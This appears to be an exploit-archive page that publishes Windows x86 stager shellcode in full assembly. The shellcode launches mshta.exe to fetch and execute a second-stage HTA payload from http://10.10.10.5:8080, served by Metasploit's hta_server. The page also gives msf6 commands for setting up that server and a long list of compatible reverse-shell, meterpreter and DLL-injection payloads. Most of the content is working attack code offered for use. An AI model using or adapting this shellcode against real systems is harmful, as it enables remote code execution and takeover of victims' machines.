windowsx86 download file (http:10.10.10.5:80802nwyfq9t.hta) via mshta + execute + stager shellcode (143 bytes)

▸▸▸ Exploit & Vulnerability >>   shellcode exploit & windows_x86 vulnerability




windowsx86 download file (http:10.10.10.5:80802nwyfq9t.hta) via mshta + execute + stager shellcode (143 bytes) Code Code...
				
# Exploit Title: Windows/x86 - Stager Generic MSHTA Shellcode (143 bytes) # Exploit Author: Armando Huesca Prida # Date: 11-01-2021 # Tested on: Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86) # Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86) # Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86) ## Description: Windows x86 Shellcode that uses mshta.exe binary to execute a second stage payload delivered through metasploit's hta_server exploit. This shellcode uses JMP/CALL/POP technic and static kernel32.dll functions addresses. ## Metasploit compatible payload list: # generic/custom # generic/debug_trap # generic/shell_bind_tcp # generic/shell_reverse_tcp # generic/tight_loop # windows/dllinject/bind_hidden_ipknock_tcp # windows/dllinject/bind_hidden_tcp # windows/dllinject/bind_ipv6_tcp # windows/dllinject/bind_ipv6_tcp_uuid # windows/dllinject/bind_named_pipe # windows/dllinject/bind_nonx_tcp # windows/dllinject/bind_tcp # windows/dllinject/bind_tcp_rc4 # windows/dllinject/bind_tcp_uuid # windows/dllinject/reverse_hop_http # windows/dllinject/reverse_http # windows/dllinject/reverse_http_proxy_pstore # windows/dllinject/reverse_ipv6_tcp # windows/dllinject/reverse_nonx_tcp # windows/dllinject/reverse_ord_tcp # windows/dllinject/reverse_tcp # windows/dllinject/reverse_tcp_allports # windows/dllinject/reverse_tcp_dns # windows/dllinject/reverse_tcp_rc4 # windows/dllinject/reverse_tcp_rc4_dns # windows/dllinject/reverse_tcp_uuid # windows/dllinject/reverse_winhttp # windows/dns_txt_query_exec # windows/download_exec # windows/exec # windows/loadlibrary # windows/messagebox # windows/meterpreter/bind_hidden_ipknock_tcp # windows/meterpreter/bind_hidden_tcp # windows/meterpreter/bind_ipv6_tcp # windows/meterpreter/bind_ipv6_tcp_uuid # windows/meterpreter/bind_named_pipe # windows/meterpreter/bind_nonx_tcp # windows/meterpreter/bind_tcp # windows/meterpreter/bind_tcp_rc4 # windows/meterpreter/bind_tcp_uuid # windows/meterpreter/reverse_hop_http # windows/meterpreter/reverse_http # windows/meterpreter/reverse_http_proxy_pstore # windows/meterpreter/reverse_https # windows/meterpreter/reverse_https_proxy # windows/meterpreter/reverse_ipv6_tcp # windows/meterpreter/reverse_named_pipe # windows/meterpreter/reverse_nonx_tcp # windows/meterpreter/reverse_ord_tcp # windows/meterpreter/reverse_tcp # windows/meterpreter/reverse_tcp_allports # windows/meterpreter/reverse_tcp_dns # windows/meterpreter/reverse_tcp_rc4 # windows/meterpreter/reverse_tcp_rc4_dns # windows/meterpreter/reverse_tcp_uuid # windows/meterpreter/reverse_winhttp # windows/meterpreter/reverse_winhttps # windows/metsvc_bind_tcp # windows/metsvc_reverse_tcp # windows/patchupdllinject/bind_hidden_ipknock_tcp # windows/patchupdllinject/bind_hidden_tcp # windows/patchupdllinject/bind_ipv6_tcp # windows/patchupdllinject/bind_ipv6_tcp_uuid # windows/patchupdllinject/bind_named_pipe # windows/patchupdllinject/bind_nonx_tcp # windows/patchupdllinject/bind_tcp # windows/patchupdllinject/bind_tcp_rc4 # windows/patchupdllinject/bind_tcp_uuid # windows/patchupdllinject/reverse_ipv6_tcp # windows/patchupdllinject/reverse_nonx_tcp # windows/patchupdllinject/reverse_ord_tcp # windows/patchupdllinject/reverse_tcp # windows/patchupdllinject/reverse_tcp_allports # windows/patchupdllinject/reverse_tcp_dns # windows/patchupdllinject/reverse_tcp_rc4 # windows/patchupdllinject/reverse_tcp_rc4_dns # windows/patchupdllinject/reverse_tcp_uuid # windows/patchupmeterpreter/bind_hidden_ipknock_tcp # windows/patchupmeterpreter/bind_hidden_tcp # windows/patchupmeterpreter/bind_ipv6_tcp # windows/patchupmeterpreter/bind_ipv6_tcp_uuid # windows/patchupmeterpreter/bind_named_pipe # windows/patchupmeterpreter/bind_nonx_tcp # windows/patchupmeterpreter/bind_tcp # windows/patchupmeterpreter/bind_tcp_rc4 # windows/patchupmeterpreter/bind_tcp_uuid # windows/patchupmeterpreter/reverse_ipv6_tcp # windows/patchupmeterpreter/reverse_nonx_tcp # windows/patchupmeterpreter/reverse_ord_tcp # windows/patchupmeterpreter/reverse_tcp # windows/patchupmeterpreter/reverse_tcp_allports # "hta_server" exploit payloads setting example: # msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery) # msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list) # msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH) # msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary) # msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution) # Shellcode considerations: # Function address of CreateProcessA in kernel32.dll: 0x75732082 # Function address of ExitProcess in kernel32.dll: 0x7578214f # Size in bytes of message db parameter, 65 bytes -> 0x41 hex # Message db contains a strings with the static path windows location of mshta.exe binary and the url obtained from hta_server exploit # Assembly Shellcode: global _start section .text _start: jmp application firststep: pop edi xor eax, eax mov [edi+65], al ; size in bytes of message db parameter StartUpInfoANDProcessInformation: push eax ; hStderror null in this case push eax ; hStdOutput, null push eax ; hStdInput, null xor ebx, ebx xor ecx, ecx add cl, 0x12 ; 18 times loop to fill both structures. looper: push ebx loop looper ;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo mov bx, 0x1111 sub bx, 0x1010 mov word [esp+0x3c], bx mov byte [esp+0x10], 0x44 ; cb=0x44 lea eax, [esp+0x10] ; eax points to StartUpInfo ; eax has a pointer to StartUPinfo ; esp has a pointer to Process_Info containing null values createprocessA: push esp ; pointer to Process-Info push eax ; pointer to StartUpInfo xor ebx, ebx push ebx ; null push ebx ; null push ebx ; null inc ebx push ebx ; bInheritHandles=true dec ebx push ebx ; null push ebx ; null push edi ; pointer to message db string push ebx ; null mov edx, 0x75732082 ; CreateProcessA addr in kernel32.dll call edx ExitProcess: push eax ; createprocessA return in eax mov edx, 0x7578214f ; ExitProcess addr in kernel32.dll call edx application: call firststep message db "c:\windows\system32\mshta.exe http://10.10.10.5:8080/2NWyfQ9T.hta"


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